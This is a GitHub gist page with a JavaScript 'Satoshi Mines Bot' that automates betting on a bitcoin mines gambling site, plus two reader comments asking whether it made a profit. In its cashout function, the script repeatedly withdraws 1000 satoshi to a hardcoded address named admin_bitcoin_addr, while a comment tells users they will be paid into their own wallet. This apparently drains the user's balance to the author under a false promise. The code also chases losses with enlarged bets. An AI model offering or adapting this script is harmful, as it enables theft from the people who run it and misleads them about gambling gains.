Last active
December 25, 2020 23:59
-
-
Save justinoboyle/43be8e4fc5b6e8926662bea7f47c5ec9 to your computer and use it in GitHub Desktop.
Satoshi Mines Bot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a modification of bitcointools.xyz's bot #2. | |
// This version allows autocashout. | |
var bet = 51; // place your bet here. minimum is 30. | |
var admin_bitcoin_addr = "14XaPR5hW2KpenA7NoQBLHxKUiFqRZguk7"; // You will be paid in steady withdraw_amount satoshi. (Once the bot reaches withdraw_threshold, it will deposit withdraw_amount into your bitcoin wallet, then continue betting with the 1000) | |
var withdraw_threshold = 2000; | |
var withdraw_amount = 1000; | |
setInterval(function() { | |
stopgame(); start_game(); | |
}, 1000 * 10); // Just in case the page stops responding. | |
/* in case the bot will click a bomb, bet will be adjusted on the next round to compensate the loss. | |
the bot will set the bet again to the original value on the next next round.*/ | |
var bigBet = (bet + (0.039 * bet)) / 0.039; | |
//var bigBet = 500; | |
bigBet = Math.ceil(bigBet); | |
var risky_bet_chance1 = 0; | |
var risky_bet_chance2 = 0; | |
//var stop_limit_balance = 6000; | |
/* click sequence interval in milliseconds. equivalent to 2 seconds. | |
You can change it to longer than 2 seconds but please don't change it to a lower value because it can messed up the timings if you have a slow internet. If you have a very slow internet connection, I recommend setting it up to 3 seconds or higher. */ | |
var interval = 1000; | |
var restart, timeout1, timeout2, timeout3, timeout4, timeout5, timeout6, timeout7, num_clicks; | |
// force the difficulty to 1 mine at the start of the game. | |
$('.quarter').eq(1).find('button').click(); | |
start_game(); | |
function start_game() { | |
var risky_bet = Math.floor((Math.random() * 100) + 1); | |
if (restart == 1) { | |
if (risky_bet < risky_bet_chance1) { | |
$('#bet').val(Math.ceil(1.1 * bigBet)); | |
} else { | |
$('#bet').val(bigBet); | |
} | |
restart = 0; | |
num_clicks = 1; | |
} else { | |
if (risky_bet < risky_bet_chance2) { | |
$('#bet').val(Math.ceil(1.5 * bet)); | |
} else { | |
$('#bet').val(bet); | |
} | |
num_clicks = 3; | |
} | |
$('#start_game').click(); | |
timeout1 = setTimeout(click_tile1, interval) | |
} // end of function start_game() | |
function click_tile1() { | |
var tile1 = Math.floor((Math.random() * 25) + 1); | |
//search_last_bomb(); | |
$('.game_left').first().find('li[data-tile=' + tile1 + ']').click(); | |
//$('.game_left [data-tile="'+tile1+'"]').click(); | |
setTimeout(function() { | |
if ($('.game_left').first().find('li[data-tile=' + tile1 + ']').hasClass('bomb')) { | |
$('.quarter').first().find('button').click(); | |
var bal = $('.balance .num').html(); | |
bal = $.trim(bal); | |
bal = bal.replace(',', ''); | |
bal = parseInt(bal); | |
//bal = bigBet // practice mode | |
if (bal < bigBet) { | |
stopgame(); | |
} else { | |
restart = 1; | |
start_game(); | |
} | |
} else { | |
if (num_clicks >= 2) { | |
timeout2 = setTimeout(click_tile2, interval); | |
} else { | |
$('.quarter').eq(1).find('button').click(); | |
timeout3 = setTimeout(cashout, interval); | |
} | |
} | |
}, interval); | |
} // end of function click_tile1() | |
function click_tile2() { | |
var tile2 = Math.floor((Math.random() * 25) + 1); | |
//search_last_bomb(); | |
$('.game_left').first().find('li[data-tile=' + tile2 + ']').click(); | |
//$('.game_left [data-tile="'+tile2+'"]').click(); | |
setTimeout(function() { | |
if ($('.game_left').first().find('li[data-tile=' + tile2 + ']').hasClass('bomb')) { | |
$('.quarter').first().find('button').click(); | |
var bal = $('.balance .num').html(); | |
bal = $.trim(bal); | |
bal = bal.replace(',', ''); | |
bal = parseInt(bal); | |
//bal = bigBet // practice mode | |
if (bal < bigBet) { | |
stopgame(); | |
} else { | |
restart = 1; | |
start_game(); | |
} | |
} else { | |
if (num_clicks >= 3) { | |
timeout4 = setTimeout(click_tile3, interval); | |
} else { | |
$('.quarter').eq(1).find('button').click(); | |
timeout5 = setTimeout(cashout, interval); | |
} | |
} | |
}, interval); | |
} // end of function click_tile2() | |
function click_tile3() { | |
var tile3 = Math.floor((Math.random() * 25) + 1); | |
//search_last_bomb(); | |
$('.game_left').first().find('li[data-tile=' + tile3 + ']').click(); | |
//$('.game_left [data-tile="'+tile2+'"]').click(); | |
setTimeout(function() { | |
if ($('.game_left').first().find('li[data-tile=' + tile3 + ']').hasClass('bomb')) { | |
$('.quarter').first().find('button').click(); | |
var bal = $('.balance .num').html(); | |
bal = $.trim(bal); | |
bal = bal.replace(',', ''); | |
bal = parseInt(bal); | |
//bal = bigBet // practice mode | |
if (bal < bigBet) { | |
stopgame(); | |
} else { | |
restart = 1; | |
start_game(); | |
} | |
} else { | |
$('.quarter').eq(1).find('button').click(); | |
timeout6 = setTimeout(cashout, interval); | |
} | |
}, interval); | |
} // end of function click_tile2() | |
function cashout() { | |
$('.game_right').first().find('.cashout').click(); | |
var bal = $('.balance .num').html(); | |
bal = $.trim(bal); | |
bal = bal.replace(',', ''); | |
bal = parseInt(bal); | |
if (bal >= withdraw_threshold) { | |
$("#deposit_withdraw").click(); | |
$("#io_out").click(); | |
$(".amount").val(withdraw_amount); | |
$(".payto_address").val(admin_bitcoin_addr); | |
$(".withdraw").click(); | |
var check = function() { | |
if ($(".txid").length > 0) { | |
$(".close_all").click(); | |
console.log("Payment sent! Restarting game."); | |
timeout7 = setTimeout(start_game, interval); | |
return; | |
} else | |
setTimeout(check, 10); | |
} | |
setTimeout(check, 10); | |
} else | |
timeout7 = setTimeout(start_game, interval); | |
} // end of cashout | |
function stopgame() { | |
clearTimeout(timeout1); | |
clearTimeout(timeout2); | |
clearTimeout(timeout3); | |
clearTimeout(timeout4); | |
clearTimeout(timeout5); | |
clearTimeout(timeout6); | |
clearTimeout(timeout7); | |
} // end of stopgame() | |
function search_last_bomb() { | |
var has_chosen = 0; | |
if ($('.game_left').eq(1) != null && $('.game_left').eq(1).length > 0) { | |
$('.game_left').eq(1).find('.board').find('li').each(function(i, elem) { | |
if ($(elem).hasClass('reveal')) { | |
has_chosen = 1; | |
tile1 = $(elem).data('tile'); | |
return false; | |
} | |
}); | |
} | |
if (has_chosen == 0) { | |
tile1 = Math.floor((Math.random() * 25) + 1); | |
} | |
} // end of searchLastBombTile() |
You read my comment an hour ago, can I please get an answer on the performance of this? Thanks :)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Just curious, but did this bot end up working out and turning a profit at all? Seems pretty solid.